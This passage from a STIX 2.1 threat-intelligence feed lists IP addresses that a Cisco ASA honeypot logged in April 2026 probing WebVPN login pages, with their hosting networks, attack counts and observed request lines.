          "last_seen": "2026-04-22T05:02:06.303Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--085dd849-3246-4fe7-85ca-e25fbbaa93d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:20:10.000Z",
      "valid_until": "2026-05-20T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 19,
          "first_seen": "2026-04-15T09:21:07.704Z",
          "last_seen": "2026-04-28T02:30:28.812Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--aa287f07-8bd8-4580-9626-03de242324ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T07:20:10.000Z",
      "valid_until": "2026-05-20T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T06:49:35.314Z",
          "last_seen": "2026-04-23T12:23:00.614Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T08:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--23e49451-b3ff-43da-a6ea-40b735a01d6f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T08:20:25.000Z",
      "valid_until": "2026-05-20T08:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T08:17:21.997Z",
          "last_seen": "2026-04-25T12:53:18.785Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T08:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--edbd7417-de75-48c8-a961-6ee84f8054d9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T08:20:25.000Z",
      "valid_until": "2026-05-20T08:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T08:14:28.415Z",
          "last_seen": "2026-04-22T02:03:07.505Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T08:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a3f1806e-175b-4f64-bb0f-3b2c76a3d4e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T08:20:25.000Z",
      "valid_until": "2026-05-20T08:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T08:03:11.792Z",
          "last_seen": "2026-04-24T10:33:34.484Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T08:20:25.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--07212816-c8d4-463b-883d-52db539b332c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T08:20:25.000Z",
      "valid_until": "2026-05-20T08:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T07:41:32.638Z",
          "last_seen": "2026-04-18T21:52:48.428Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--32fa448a-6975-4b69-9493-354cc4e24dc4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T09:20:11.000Z",
      "valid_until": "2026-05-20T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-15T09:21:43.622Z",
          "last_seen": "2026-04-27T19:57:17.547Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fcba09c7-f66a-4fd4-a8ef-226dc8ac8f46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T09:20:11.000Z",
      "valid_until": "2026-05-20T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T08:48:46.391Z",
          "last_seen": "2026-04-29T12:40:20.793Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a24149bb-0411-4869-a72a-eb0adb0dd1ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T09:20:11.000Z",
      "valid_until": "2026-05-20T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-18T08:33:28.799Z",
          "last_seen": "2026-04-24T11:28:26.009Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T09:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--38a44c7c-119c-4b34-9047-6bf980c80e8a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T09:20:11.000Z",
      "valid_until": "2026-05-20T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T08:31:08.592Z",
          "last_seen": "2026-04-27T14:02:02.195Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bb72fdf2-2706-48a9-8e55-60d6e773f1a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:20:11.000Z",
      "valid_until": "2026-05-20T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 11,
          "first_seen": "2026-04-18T10:28:41.245Z",
          "last_seen": "2026-04-26T12:12:44.505Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--26fb7dd8-bce5-4177-a343-db5a414ce38e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T11:20:11.000Z",
      "valid_until": "2026-05-20T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-11T03:33:11.701Z",
          "last_seen": "2026-04-29T21:37:51.788Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T15:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--59551269-d021-4f75-b00f-a0065471b450",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:20:03.000Z",
      "valid_until": "2026-05-20T15:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-13T15:03:11.172Z",
          "last_seen": "2026-04-25T08:54:58.799Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T15:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--49fd202a-b614-4b8c-bc31-75db7df1373b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:20:03.000Z",
      "valid_until": "2026-05-20T15:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T12:03:16.160Z",
          "last_seen": "2026-04-28T01:32:44.196Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T15:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6b2cdaa0-7633-494d-8777-f177a4ca8b1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:20:03.000Z",
      "valid_until": "2026-05-20T15:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T19:36:43.908Z",
          "last_seen": "2026-04-27T17:07:44.819Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T15:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c717962a-8503-487b-8705-0c3ed0fa2af0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:20:03.000Z",
      "valid_until": "2026-05-20T15:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T15:04:38.016Z",
          "last_seen": "2026-04-19T01:40:58.387Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T15:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b7f5c95b-c4ad-4168-9447-b440a5517979",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:20:03.000Z",
      "valid_until": "2026-05-20T15:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T14:25:22.735Z",
          "last_seen": "2026-04-23T05:38:40.338Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T15:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b761faf8-fdac-4366-8240-82001dda53d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:20:03.000Z",
      "valid_until": "2026-05-20T15:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T14:28:33.124Z",
          "last_seen": "2026-04-27T22:18:11.613Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--234c7a8c-4ced-4e26-863e-f084b8db39b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:20:05.000Z",
      "valid_until": "2026-05-20T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T15:58:35.831Z",
          "last_seen": "2026-04-23T14:23:12.324Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-18T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7201674d-abbe-4f97-bae4-6d3f56a6b56a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:20:05.000Z",
      "valid_until": "2026-05-20T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
